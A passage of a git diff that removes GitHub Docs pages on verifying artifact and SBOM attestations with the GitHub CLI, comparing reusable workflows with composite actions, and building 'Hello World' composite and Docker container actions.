- The value of the `subject-digest` parameter should be set to the SHA256 digest of the subject for the attestation, in the form `sha256:HEX_DIGEST`. If your workflow uses `docker/build-push-action`, you can use the [`digest`](https://github.com/docker/build-push-action?tab=readme-ov-file#outputs) output from that step to supply the value. For more information on using outputs, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs).
-
- The value of the `sbom-path` parameter should be set to the path to the JSON-formatted SBOM file you want to attest.
-
-## Verifying artifact attestations with the {% data variables.product.prodname_cli %}
-
-You can validate artifact attestations for binaries and container images and validate SBOM attestations using the {% data variables.product.prodname_cli %}. For more information, see the [`attestation`](https://cli.github.com/manual/gh_attestation) section of the {% data variables.product.prodname_cli %} manual.
-
->[!NOTE]These commands assume you are in an online environment. If you are in an offline or air-gapped environment, see [AUTOTITLE](/actions/security-guides/verifying-attestations-offline).
-
-### Verifying an artifact attestation for binaries
-
-To verify artifact attestations for **binaries**, use the following {% data variables.product.prodname_cli %} command.
-
-```bash copy
-gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME
-```
-
-### Verifying an artifact attestation for container images
-
-To verify artifact attestations for **container images**, you must provide the image's FQDN prefixed with `oci://` instead of the path to a binary. You can use the following {% data variables.product.prodname_cli %} command.
-
-```bash copy
-docker login ghcr.io
-
-gh attestation verify oci://ghcr.io/ORGANIZATION_NAME/IMAGE_NAME:test -R ORGANIZATION_NAME/REPOSITORY_NAME
-```
-
-### Verifying an attestation for SBOMs
-
-To verify SBOM attestations, you have to provide the `--predicate-type` flag to reference a non-default predicate. For more information, see [Vetted predicates](https://github.com/in-toto/attestation/tree/main/spec/predicates#vetted-predicates) in the `in-toto/attestation` repository.
-
-For example, the [`attest-sbom` action](https://github.com/actions/attest-sbom) currently supports either SPDX or CycloneDX SBOM predicates. To verify an SBOM attestation in the SPDX format, you can use the following {% data variables.product.prodname_cli %} command.
-
-```bash copy
-gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY \
- -R ORGANIZATION_NAME/REPOSITORY_NAME \
- --predicate-type https://spdx.dev/Document/v2.3
-```
-
-To view more information on the attestation, reference the `--format json` flag. This can be especially helpful when reviewing SBOM attestations.
-
-```bash copy
-gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY \
- -R ORGANIZATION_NAME/REPOSITORY_NAME \
- --predicate-type https://spdx.dev/Document/v2.3 \
- --format json \
- --jq '.[].verificationResult.statement.predicate'
-```
diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md b/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md
deleted file mode 100644
index 2fcd6d8361dd..000000000000
--- a/content/actions/security-for-github-actions/using-artifact-attestations/verifying-attestations-offline.md
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: Verifying attestations offline
-shortTitle: Verifying attestations offline
-intro: Artifact attestations can be verified without an internet connection.
-type: quick_start
-topics:
- - Actions
- - Security
- - Workflows
-versions:
- fpt: '*'
- ghec: '*'
-redirect_from:
- - /actions/security-guides/verifying-attestations-offline
----
-
-## Introduction
-
-Artifact attestations are a great way to create unfalsifiable provenance and integrity guarantees for the software you build.
-
-By default, attestations are stored in GitHub's attestation API, which `gh attestation verify` will query when you go to verify your attestation. That command will also contact GitHub's servers to check for updated key material to use to verify the attestation.
-
-This command can work without internet connectivity, but you need to supply the attestation bundle and the key material in the trusted root manually.
-
-Before starting this guide, you should be building with generating artifact attestations. See [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds).
-
-## Step 1: Download attestation bundle
-
-First, get the attestation bundle from the attestation API.
-
-You can do so with the following command from a machine that is online:
-
-```bash copy
-gh attestation download PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME
-```
-
-Here is example output from that command:
-
-```bash
-Wrote attestations to file sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl.
-Any previous content has been overwritten
-
-The trusted metadata is now available at sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl
-```
-
-## Step 2: Download trusted roots
-
-Next, get the key material from the trusted roots.
-
-Artifact attestations uses the Sigstore public good instance for public repositories, and GitHub's Sigstore instance for private repositories. You can use one command to get both trusted roots:
-
-```bash copy
-gh attestation trusted-root > trusted_root.jsonl
-```
-
-### Updating trusted root information in an offline environment
-
-It's best practice to generate a new `trusted_root.jsonl` file any time you are importing new signed material into your offline environment.
-
-The key material in `trusted_root.jsonl` does not have a built-in expiration date, so anything signed before you generate the trusted root file will continue to successfully verify. Anything signed after the file is generated will verify until that Sigstore instance rotates its key material, which typically happens a few times per year. You will not know if key material has been revoked since you last generated the trusted root file.
-
-## Step 3: Perform offline verification
-
-Now, you are ready to verify the artifact offline.
-
-You should import into your offline environment:
-* {% data variables.product.prodname_cli %}
-* Your artifact
-* The bundle file
-* The trusted root file
-
-You can then perform offline verification with the following command:
-
-```bash copy
-gh attestation verify PATH/TO/YOUR/BUILD/ARTIFACT-BINARY -R ORGANIZATION_NAME/REPOSITORY_NAME --bundle sha256:ae57936def59bc4c75edd3a837d89bcefc6d3a5e31d55a6fa7a71624f92c3c3b.jsonl --custom-trusted-root trusted_root.jsonl
-```
-
-## Conclusion
-
-You are now verifying artifact attestations in an offline environment. We recommend importing a new trusted root whenever you are introducing new signed artifacts to your offline environment.
diff --git a/content/actions/sharing-automations/avoiding-duplication.md b/content/actions/sharing-automations/avoiding-duplication.md
deleted file mode 100644
index 74b2026f5e05..000000000000
--- a/content/actions/sharing-automations/avoiding-duplication.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Avoiding duplication
-shortTitle: Avoid duplication
-intro: You can use reusable workflows or composite actions to avoid duplicating the content of workflows.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: how_to
-topics:
- - Workflows
-redirect_from:
- - /actions/using-workflows/avoiding-duplication
----
-
-## About reusable workflows and composite actions
-
-Reusable workflows and composite actions are two ways to avoid duplicating the content of workflows.
-
-**Reusable workflows** allow you to reuse an entire workflow, including all of its jobs and steps. This is particularly useful when you have a complete CI/CD process that you want to use across multiple repositories. Reusable workflows can be centrally maintained, in one location, but used in many repositories across your organization.
-
-**Composite actions** allow you to combine multiple steps into a single action. You can then run this bundle of steps as a single step within a workflow. This is useful if you have a sequence of steps that will be used in more than one workflow. Composite actions allow you refactor long YAML workflow files into much smaller files and avoid copying and pasting between workflow files.
-
-Reusable workflows and composite actions solve similar problems, but have a few important differences. Most of the time you can use either solution. But some of the time, you’ll need to use one or the other, as described later in this article.
-
-For details of how to create and use reusable workflows and composite actions, see [AUTOTITLE](/actions/using-workflows/reusing-workflows) and [AUTOTITLE](/actions/creating-actions/creating-a-composite-action).
-
-## Comparison of reusable workflows and composite actions
-
-* **Workflow jobs** - Composite actions contain a series of steps, that are run as a single step within the caller workflow. Unlike reusable workflows, they cannot contain jobs.
-* **Logging** - When a composite action runs, the log will show just the step in the caller workflow that ran the composite action, not the individual steps within the composite action. With reusable workflows, every job and step is logged separately.
-* **Specifying runners** - Reusable workflows contain one or more jobs. As with all workflow jobs, the jobs in a reusable workflow specify the type of machine on which the job will run. Therefore, if the steps must be run on a type of machine that might be different from the machine chosen for the calling workflow job, then you should use a reusable workflow, not a composite action.
-* **Passing output to steps** - A composite action is run as a step within a workflow job, and you can have multiple steps before or after the step that runs the composite action. Reusable workflows are called directly within a job, and not from within a job step. You can't add steps to a job after calling a reusable workflow, so you can't use `GITHUB_ENV` to pass values to subsequent job steps in the caller workflow.
-
-### Key differences between reusable workflows and composite actions
-
-| Reusable workflows | Composite actions |
-| ------------------ | ----------------- |
-| A YAML file, very similar to any standard workflow file | An action containing a bundle of workflow steps |
-| Each reusable workflow is a single file in the `.github/workflows` directory of a repository | Each composite action is a separate repository, or a directory, containing an `action.yml` file and, optionally, other files |
-| Called by referencing a specific YAML file | Called by referencing a repository or directory in which the action is defined |
-| Called directly within a job, not from a step | Run as a step within a job |
-| Can contain multiple jobs | Does not contain jobs |
-| Each step is logged in real-time | Logged as one step even if it contains multiple steps |
-| Can connect a maximum of four levels of workflows | Can be nested to have up to 10 composite actions in one workflow |
-| Can use secrets | Cannot use secrets |
diff --git a/content/actions/sharing-automations/creating-actions/about-custom-actions.md b/content/actions/sharing-automations/creating-actions/about-custom-actions.md
deleted file mode 100644
index 44da7ba0208e..000000000000
--- a/content/actions/sharing-automations/creating-actions/about-custom-actions.md
+++ /dev/null
@@ -1,180 +0,0 @@
----
-title: About custom actions
-intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.'
-redirect_from:
- - /articles/about-actions
- - /github/automating-your-workflow-with-github-actions/about-actions
- - /actions/automating-your-workflow-with-github-actions/about-actions
- - /actions/building-actions/about-actions
- - /actions/creating-actions/about-actions
- - /actions/creating-actions/about-custom-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
-topics:
- - Action development
- - Fundamentals
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About custom actions
-
-You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code.
-
-{% ifversion fpt or ghec %}
-You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built with everyone, your repository must be public. {% ifversion ghec %}To share actions only within your enterprise, your repository must be internal.{% endif %}
-{% endif %}
-
-Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables.
-
-## Types of actions
-
-You can build Docker container, JavaScript, and composite actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be `action.yml`. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions).
-
-{% rowheaders %}
-
-| Type | Linux | macOS | Windows |
-| ---- | ----- | ----- | -------- |
-| Docker container | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | {% octicon "x" aria-label="Not supported" %} |
-| JavaScript | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} |
-| Composite Actions | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} |
-
-{% endrowheaders %}
-
-### Docker container actions
-
-Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies.
-
-A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions.
-
-Docker container actions can only execute on runners with a Linux operating system. {% data reusables.actions.self-hosted-runner-reqs-docker %}
-
-### JavaScript actions
-
-JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action.
-
-{% data reusables.actions.pure-javascript %}
-
-If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
-
-### Composite Actions
-
-A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out [AUTOTITLE](/actions/creating-actions/creating-a-composite-action).
-
-## Choosing a location for your action
-
-If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software.
-
-{% ifversion fpt or ghec %}
-Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code.
-{% endif %}
-
-{% data reusables.actions.internal-actions-summary %}
-
-{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to others, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`.
-
-## Ensuring compatibility with other platforms
-
-Many people access {% data variables.product.github %} at a domain other than {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.enterprise.data_residency_site %} or a custom domain for {% data variables.product.prodname_ghe_server %}.
-
-To ensure that your action is compatible with other platforms, do not use any hard-coded references to API URLs such as `https://api.github.com`. Instead, you can:
-
-* Use environment variables (see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables)):
-
- * For the REST API, use the `GITHUB_API_URL` environment variable.
- * For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable.
-
-* Use a toolkit such as [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github), which can automatically set the correct URLs.
-
-## Using release management for actions
-
-This section explains how you can use release management to distribute updates to your actions in a predictable way.
-
-### Good practices for release management
-
-If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's patch version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility.
-
-Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues.
-
-To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release.
-
-### Using tags for release management
-
-We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions:
-
-* Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`).
-* Create a release using semantic versioning. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository).
-* Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see [Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging).
-* Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change.
-* Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready.
-
-This example demonstrates how a user can reference a major release tag:
-
-```yaml
-steps:
- - uses: actions/javascript-action@v1
-```
-
-This example demonstrates how a user can reference a specific patch release tag:
-
-```yaml
-steps:
- - uses: actions/javascript-action@v1.0.1
-```
-
-### Using branches for release management
-
-If you prefer to use branch names for release management, this example demonstrates how to reference a named branch:
-
-```yaml
-steps:
- - uses: actions/javascript-action@v1-beta
-```
-
-### Using a commit's SHA for release management
-
-Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. You must use a commit's full SHA value, and not an abbreviated value.
-
-```yaml
-steps:
- - uses: actions/javascript-action@a824008085750b8e136effc585c3cd6082bd575f
-```
-
-## Creating a README file for your action
-
-We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`:
-
-* A detailed description of what the action does
-* Required input and output arguments
-* Optional input and output arguments
-* Secrets the action uses
-* Environment variables the action uses
-* An example of how to use your action in a workflow
-
-## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %}
-
-{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps).
-
-### Strengths of GitHub Actions and GitHub Apps
-
-While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways.
-
-{% data variables.product.prodname_github_apps %}:
-* Run persistently and can react to events quickly.
-* Work great when persistent data is needed.
-* Work best with API requests that aren't time consuming.
-* Run on a server or compute infrastructure that you provide.
-
-{% data variables.product.prodname_actions %}:
-* Provide automation that can perform continuous integration and continuous deployment.
-* Can run directly on runner machines or in Docker containers.
-* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code.
-* Don't require you to deploy code or serve an app.
-* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action.
-
-## Further reading
-
-* [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions)
diff --git a/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md b/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md
deleted file mode 100644
index c764bdced8db..000000000000
--- a/content/actions/sharing-automations/creating-actions/creating-a-composite-action.md
+++ /dev/null
@@ -1,255 +0,0 @@
----
-title: Creating a composite action
-shortTitle: Create a composite action
-intro: 'In this guide, you''ll learn how to build a composite action.'
-redirect_from:
- - /actions/creating-actions/creating-a-composite-run-steps-action
- - /actions/creating-actions/creating-a-composite-action
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-defaultPlatform: linux
-topics:
- - Action development
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye", or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
-
-Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
-
-{% data reusables.actions.context-injection-warning %}
-
-### Composite actions and reusable workflows
-
-Composite actions allow you to collect a series of workflow job steps into a single action which you can then run as a single job step in multiple workflows. Reusable workflows provide another way of avoiding duplication, by allowing you to run a complete workflow from within other workflows. For more information, see [AUTOTITLE](/actions/using-workflows/avoiding-duplication).
-
-## Prerequisites
->
-> [!NOTE]
-> This example explains how to create a composite action within a separate repository. However, it is possible to create a composite action within the same repository. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-a-composite-action-within-the-same-repository).
-
-Before you begin, you'll create a repository on {% data variables.product.github %}.
-
-1. Create a new public repository on {% data variables.product.github %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.github %}. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository).
-
-1. Clone your repository to your computer. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository).
-
-1. From your terminal, change directories into your new repository.
-
- ```shell copy
- cd hello-world-composite-action
- ```
-
-1. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh` with example code:
-
- ```shell copy
- echo "echo Goodbye" > goodbye.sh
- ```
-
-1. From your terminal, make `goodbye.sh` executable.
- {% linux %}
-
- {% data reusables.actions.composite-actions-executable-linux-mac %}
-
- {% endlinux %}
- {% mac %}
-
- {% data reusables.actions.composite-actions-executable-linux-mac %}
-
- {% endmac %}
- {% windows %}
-
- ```shell copy
- git add --chmod=+x -- goodbye.sh
- ```
-
- {% endwindows %}
-
-1. From your terminal, check in your `goodbye.sh` file.
-
- {% linux %}
-
- {% data reusables.actions.composite-actions-commit-file-linux-mac %}
-
- {% endlinux %}
- {% mac %}
-
- {% data reusables.actions.composite-actions-commit-file-linux-mac %}
- {% endmac %}
- {% windows %}
-
- ```shell copy
- git commit -m "Add goodbye script"
- git push
- ```
-
- {% endwindows %}
-
-## Creating an action metadata file
-
-1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions).
-
- ```yaml copy
- name: 'Hello World'
- description: 'Greet someone'
- inputs:
- who-to-greet: # id of input
- description: 'Who to greet'
- required: true
- default: 'World'
- outputs:
- random-number:
- description: "Random number"
- value: {% raw %}${{ steps.random-number-generator.outputs.random-number }}{% endraw %}
- runs:
- using: "composite"
- steps:
- - name: Set Greeting
- run: echo "Hello $INPUT_WHO_TO_GREET."
- shell: bash
- env:
- INPUT_WHO_TO_GREET: {% raw %}${{ inputs.who-to-greet }}{% endraw %}
-
- - name: Random Number Generator
- id: random-number-generator
- run: echo "random-number=$(echo $RANDOM)" >> $GITHUB_OUTPUT
- shell: bash
-
- - name: Set GitHub Path
- run: echo "$GITHUB_ACTION_PATH" >> $GITHUB_PATH
- shell: bash
- env:
- GITHUB_ACTION_PATH: {% raw %}${{ github.action_path }}{% endraw %}
-
- - name: Run goodbye.sh
- run: goodbye.sh
- shell: bash
-
- ```
-
- This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, adds the action's path to the runner system path (to locate the `goodbye.sh` script during execution), and runs the `goodbye.sh` script.
-
- For more information about managing outputs, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions).
-
- For more information about how to use `github.action_path`, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context).
-
-1. From your terminal, check in your `action.yml` file.
-
- ```shell copy
- git add action.yml
- git commit -m "Add action"
- git push
- ```
-
-1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions).
-
- ```shell copy
- git tag -a -m "Description of this release" v1
- git push --follow-tags
- ```
-
-## Testing out your action in a workflow
-
-The following workflow code uses the completed hello world action that you made in [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file).
-
-Copy the workflow code into a `.github/workflows/main.yml` file in another repository, replacing `OWNER` and `SHA` with the repository owner and the SHA of the commit you want to use, respectively. You can also replace the `who-to-greet` input with your name.
-
-```yaml copy
-on: [push]
-
-jobs:
- hello_world_job:
- runs-on: ubuntu-latest
- name: A job to say hello
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - id: foo
- uses: OWNER/hello-world-composite-action@SHA
- with:
- who-to-greet: 'Mona the Octocat'
- - run: echo random-number "$RANDOM_NUMBER"
- shell: bash
- env:
- RANDOM_NUMBER: {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %}
-```
-
-From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
-
-## Creating a composite action within the same repository
-
-1. Create a new subfolder called `hello-world-composite-action`, this can be placed in any subfolder within the repository. However, it is recommended that this be placed in the `.github/actions` subfolder to make organization easier.
-1. In the `hello-world-composite-action` folder, do the same steps to create the `goodbye.sh` script
-
- ```shell copy
- echo "echo Goodbye" > goodbye.sh
- ```
-
- {% linux %}
-
- {% data reusables.actions.composite-actions-executable-linux-mac %}
-
- {% endlinux %}
- {% mac %}
-
- {% data reusables.actions.composite-actions-executable-linux-mac %}
-
- {% endmac %}
- {% windows %}
-
- ```shell copy
- git add --chmod=+x -- goodbye.sh
- ```
-
- {% endwindows %}
- {% linux %}
-
- {% data reusables.actions.composite-actions-commit-file-linux-mac %}
-
- {% endlinux %}
- {% mac %}
-
- {% data reusables.actions.composite-actions-commit-file-linux-mac %}
- {% endmac %}
- {% windows %}
-
- ```shell copy
- git commit -m "Add goodbye script"
- git push
- ```
-
- {% endwindows %}
-1. In the `hello-world-composite-action` folder, create the `action.yml` file based on the steps in [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file).
-1. When using the action, use the relative path to the folder where the composite action's `action.yml` file is located in the `uses` key. The below example assumes it is in the `.github/actions/hello-world-composite-action` folder.
-
-```yaml copy
-on: [push]
-
-jobs:
- hello_world_job:
- runs-on: ubuntu-latest
- name: A job to say hello
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - id: foo
- uses: ./.github/actions/hello-world-composite-action
- with:
- who-to-greet: 'Mona the Octocat'
- - run: echo random-number "$RANDOM_NUMBER"
- shell: bash
- env:
- RANDOM_NUMBER: {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %}
-```
-
-## Example composite actions on {% data variables.product.github %}
-
-You can find many examples of composite actions on {% data variables.product.github %}.
-
-* [microsoft/action-python](https://github.com/microsoft/action-python)
-* [microsoft/gpt-review](https://github.com/microsoft/gpt-review)
-* [tailscale/github-action](https://github.com/tailscale/github-action)
diff --git a/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md b/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md
deleted file mode 100644
index 2b1c11eb34cd..000000000000
--- a/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md
+++ /dev/null
@@ -1,275 +0,0 @@
----
-title: Creating a Docker container action
-shortTitle: Create a Docker container action
-intro: 'This guide shows you the minimal steps required to build a Docker container action. '
-redirect_from:
- - /articles/creating-a-docker-container-action
- - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action
- - /actions/automating-your-workflow-with-github-actions/creating-a-docker-container-action
- - /actions/building-actions/creating-a-docker-container-action
- - /actions/creating-actions/creating-a-docker-container-action
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Action development
- - Docker
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
-
-Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow.
-
-{% data reusables.actions.self-hosted-runner-reqs-docker %}
-
-{% data reusables.actions.context-injection-warning %}
-
-## Prerequisites
-
-* You must create a repository on {% data variables.product.github %} and clone it to your workstation. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository) and [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository).
-* If your repository uses {% data variables.large_files.product_name_short %}, you must include the objects in archives of your repository. For more information, see [AUTOTITLE](/enterprise-cloud@latest/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository).
-* You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %}, environment variables and the Docker container filesystem. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/enterprise-cloud@latest/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem).
-
-## Creating a Dockerfile
-
-In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see [AUTOTITLE](/actions/creating-actions/dockerfile-support-for-github-actions).
-
-**Dockerfile**
-
-```dockerfile copy
-# Container image that runs your code
-FROM alpine:3.10
-
-# Copies your code file from your action repository to the filesystem path `/` of the container
-COPY entrypoint.sh /entrypoint.sh
-
-# Code file to execute when the docker container starts up (`entrypoint.sh`)
-ENTRYPOINT ["/entrypoint.sh"]
-```
-
-## Creating an action metadata file
-
-Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions).
-
-{% raw %}
-**action.yml**
-
-```yaml copy
-# action.yml
-name: 'Hello World'
-description: 'Greet someone and record the time'
-inputs:
- who-to-greet: # id of input
- description: 'Who to greet'
- required: true
- default: 'World'
-outputs:
- time: # id of output
- description: 'The time we greeted you'
-runs:
- using: 'docker'
- image: 'Dockerfile'
- args:
- - ${{ inputs.who-to-greet }}
-```
-
-{% endraw %}
-
-This metadata defines one `who-to-greet` input and one `time` output parameter. To pass inputs to the Docker container, you should declare the input using `inputs` and pass the input in the `args` keyword. Everything you include in `args` is passed to the container, but for better discoverability for users of your action, we recommended using inputs.
-
-{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image.
-
-## Writing the action code
-
-You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file.
-
-Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must write them to the `$GITHUB_OUTPUT` environment file: `echo "